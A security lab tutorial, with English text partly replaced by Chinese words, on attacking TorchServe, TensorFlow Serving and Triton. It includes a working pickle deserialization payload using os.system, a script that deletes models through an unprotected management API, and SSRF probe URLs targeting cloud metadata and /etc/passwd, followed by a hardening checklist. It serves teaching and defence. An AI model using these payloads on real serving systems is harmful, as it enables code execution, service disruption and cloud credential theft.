實驗室: 模型 Serving Framework 攻擊s

利用 vulnerabilities in TensorFlow Serving, TorchServe, and Triton Inference Server, targeting model loading, API endpoints, and management interfaces.

先備知識

• Docker installed for running serving frameworks
• 理解 of model serialization formats (SavedModel, TorchScript, ONNX)
• Python with httpx, grpcio, and torch
• Familiarity with REST and gRPC API patterns

pip install httpx grpcio torch torchvision requests python-dotenv

Background

Model serving frameworks are the gateway between trained models and production traffic. Their 攻擊面 includes model loading (deserialization of potentially malicious model files), management APIs (deploying, updating, or deleting models), and 推論 endpoints (輸入 validation and 輸出 handling).

Lab Exercises

1. 1

   Map Serving Framework 攻擊 Surfaces

   Deploy multiple serving frameworks and enumerate their exposed interfaces.

   serving_recon.pypythonShow code

   #!/usr/bin/env python3
   """Reconnaissance against model serving frameworks."""
    
   import httpx
    
   FRAMEWORKS = {
       "torchserve": {
           "base_url": "http://localhost:8080",
           "management_url": "http://localhost:8081",
           "endpoints": [
               "/ping", "/models", "/api-description",
               "/predictions/model_name", "/explanations/model_name",
           ],
           "management_endpoints": [
               "/models", "/models/model_name",
               "/models/model_name/1.0/set-default",
           ],
       },
       "tensorflow_serving": {
           "base_url": "http://localhost:8501",
           "endpoints": [
               "/v1/models", "/v1/models/model_name",
               "/v1/models/model_name/metadata",
               "/v1/models/model_name/versions",
           ],
       },
       "triton": {
           "base_url": "http://localhost:8000",
           "endpoints": [
               "/v2/health/ready", "/v2/health/live",
               "/v2/models", "/v2/models/model_name",
               "/v2/models/model_name/config",
               "/v2/models/stats",
               "/v2/repository/index",
           ],
       },
   }
    
   def recon_framework(name: str, config: dict):
       """Enumerate endpoints of a serving framework."""
       print(f"\n=== {name.upper()} ===")
       base = config["base_url"]
    
       for endpoint in config["endpoints"]:
           try:
               resp = httpx.get(f"{base}{endpoint}", timeout=3)
               status = resp.status_code
               body = resp.text[:150]
               print(f"  [{status}] {endpoint}")
               if status == 200:
                   print(f"         {body}")
           except httpx.RequestError:
               print(f"  [---] {endpoint} (unreachable)")
    
       # Check management endpoints separately
       if "management_url" in config:
           mgmt = config["management_url"]
           print(f"\n  Management API ({mgmt}):")
           for ep in config.get("management_endpoints", []):
               try:
                   resp = httpx.get(f"{mgmt}{ep}", timeout=3)
                   print(f"    [{resp.status_code}] {ep}")
               except httpx.RequestError:
                   print(f"    [---] {ep}")
    
   if __name__ == "__main__":
       for name, config in FRAMEWORKS.items():
           recon_framework(name, config)

   python serving_recon.py

2. 2

   Craft a Malicious Model File

   Demonstrate how serialized model files can contain executable payloads.

   malicious_model.pypythonShow code

   #!/usr/bin/env python3
   """Demonstrate malicious model file creation.
    
   WARNING: This creates a DEMONSTRATION payload that only writes a
   marker file. Real malicious models could execute arbitrary code."""
    
   import torch
   import pickle
   import os
    
   class MaliciousModule(torch.nn.Module):
       """A model that executes code when loaded via pickle."""
    
       def __init__(self):
           super().__init__()
           self.linear = torch.nn.Linear(10, 2)
    
       def forward(self, x):
           return self.linear(x)
    
       def __reduce__(self):
           """Override pickle deserialization to execute code."""
           # DEMONSTRATION ONLY: creates a harmless marker file
           cmd = "touch /tmp/model_rce_proof && echo 'RCE demonstrated'"
           return (os.system, (cmd,))
    
   def create_malicious_pickle():
       """Create a pickle file with embedded code execution."""
       print("=== Malicious Pickle Model ===")
       model = MaliciousModule()
    
       # Save as pickle (used by many serving frameworks)
       with open("/tmp/malicious_model.pkl", "wb") as f:
           pickle.dump(model, f)
       print("  Created /tmp/malicious_model.pkl")
       print("  Loading this file will execute: touch /tmp/model_rce_proof")
    
       # Verify the attack works
       print("\n  Loading malicious pickle...")
       with open("/tmp/malicious_model.pkl", "rb") as f:
           pickle.load(f)
    
       if os.path.exists("/tmp/model_rce_proof"):
           print("  ** RCE CONFIRMED: marker file created **")
           os.remove("/tmp/model_rce_proof")
       else:
           print("  Execution was blocked (safe pickle mode)")
    
   def create_safe_model():
       """Show how to create a model using safe serialization."""
       print("\n=== Safe Model Serialization ===")
       model = torch.nn.Linear(10, 2)
    
       # SafeTensors format: cannot contain executable code
       try:
           from safetensors.torch import save_file
           save_file(model.state_dict(), "/tmp/safe_model.safetensors")
           print("  Created /tmp/safe_model.safetensors (SafeTensors format)")
           print("  SafeTensors only stores tensor data, no executable code")
       except ImportError:
           print("  Install safetensors: pip install safetensors")
    
       # State dict only: also safe
       torch.save(model.state_dict(), "/tmp/model_state_dict.pt")
       print("  Created /tmp/model_state_dict.pt (state_dict only)")
       print("  State dicts require matching architecture to load, limiting 攻擊面")
    
   if __name__ == "__main__":
       create_malicious_pickle()
       create_safe_model()

   python malicious_model.py

3. 3

   攻擊 Management APIs

   利用 management API endpoints to deploy malicious models or modify configurations.

   management_attack.pypythonShow code

   #!/usr/bin/env python3
   """攻擊 model serving management APIs."""
    
   import httpx
   import json
    
   # TorchServe management API (default: port 8081, often unprotected)
   TORCHSERVE_MGMT = "http://localhost:8081"
    
   def torchserve_list_models():
       """List all deployed models via management API."""
       try:
           resp = httpx.get(f"{TORCHSERVE_MGMT}/models", timeout=5)
           if resp.status_code == 200:
               models = resp.json()
               print(f"Deployed models: {json.dumps(models, indent=2)}")
               return models
       except httpx.RequestError as e:
           print(f"Management API unreachable: {e}")
       return None
    
   def torchserve_register_model(url: str, model_name: str):
       """Register a model from a URL -- potential for SSRF or malicious model loading."""
       try:
           resp = httpx.post(
               f"{TORCHSERVE_MGMT}/models",
               params={
                   "url": url,
                   "model_name": model_name,
                   "initial_workers": 1,
               },
               timeout=30,
           )
           print(f"Register response [{resp.status_code}]: {resp.text[:200]}")
           return resp.status_code == 200
       except httpx.RequestError as e:
           print(f"Registration failed: {e}")
       return False
    
   def torchserve_delete_model(model_name: str):
       """Delete a deployed model -- availability attack."""
       try:
           resp = httpx.delete(
               f"{TORCHSERVE_MGMT}/models/{model_name}",
               timeout=10,
           )
           print(f"Delete response [{resp.status_code}]: {resp.text}")
       except httpx.RequestError as e:
           print(f"Deletion failed: {e}")
    
   def test_ssrf_via_model_url():
       """測試 SSRF through model URL parameter."""
       print("\n=== SSRF via Model Registration ===")
       ssrf_urls = [
           "http://169.254.169.254/latest/meta-data/",  # AWS metadata
           "http://metadata.google.internal/",            # GCP metadata
           "http://localhost:8081/models",                 # Self-referential
           "file:///etc/passwd",                           # Local file read
       ]
       for url in ssrf_urls:
           print(f"\n  測試 SSRF: {url}")
           torchserve_register_model(url, "ssrf_test")
    
   if __name__ == "__main__":
       print("=== Model Serving Management API 攻擊 ===\n")
       torchserve_list_models()
       test_ssrf_via_model_url()

   python management_attack.py

4. 4

   實作 Serving 安全 Controls

   Design and verify 安全 controls for model serving deployments.

   # Model Serving 安全 Checklist:
   #
   # 1. Model Loading 安全
   #    - Use SafeTensors format instead of pickle/joblib
   #    - Validate model checksums before loading
   #    - Run model loading in sandboxed environments
   #    - Scan model files for embedded code (pickle opcode analysis)
   #
   # 2. Management API Protection
   #    - Bind management APIs to localhost or internal networks only
   #    - Require 認證 for all management operations
   #    - 實作 rate limiting on model registration
   #    - Validate model source URLs against an allowlist
   #
   # 3. Inference API Hardening
   #    - Validate 輸入 shapes and types before 推論
   #    - Set maximum 輸入 sizes and batch sizes
   #    - 實作 request timeout and cancellation
   #    - Filter error messages to prevent information disclosure
   #
   # 4. Network Isolation
   #    - Separate management and 推論 on different network segments
   #    - Block outbound network from 推論 containers
   #    - Use TLS for all API communications
   #    - 實作 network policies in Kubernetes

Troubleshooting

相關主題

• Inference Server 利用 - Complementary infrastructure attacks
• Container Breakout - Escaping the serving container
• ML Pipeline Poisoning - Attacking the pipeline that feeds serving frameworks
• Model Registry Compromise - Substituting models before they reach serving

參考文獻

• "Unsafe at any Speed: Exploiting ML Model Serialization" - Hugging Face 安全 Team (2024) - Analysis of pickle-based model deserialization attacks
• "TorchServe 安全 Advisory CVE-2023-43654" - PyTorch (2023) - Critical SSRF 漏洞 in TorchServe management API
• "Securing ML Model Serving Infrastructure" - Google (2024) - Best practices for serving framework 安全
• "SafeTensors: A Safer Serialization Format for ML" - Hugging Face (2023) - Safe alternative to pickle-based model storage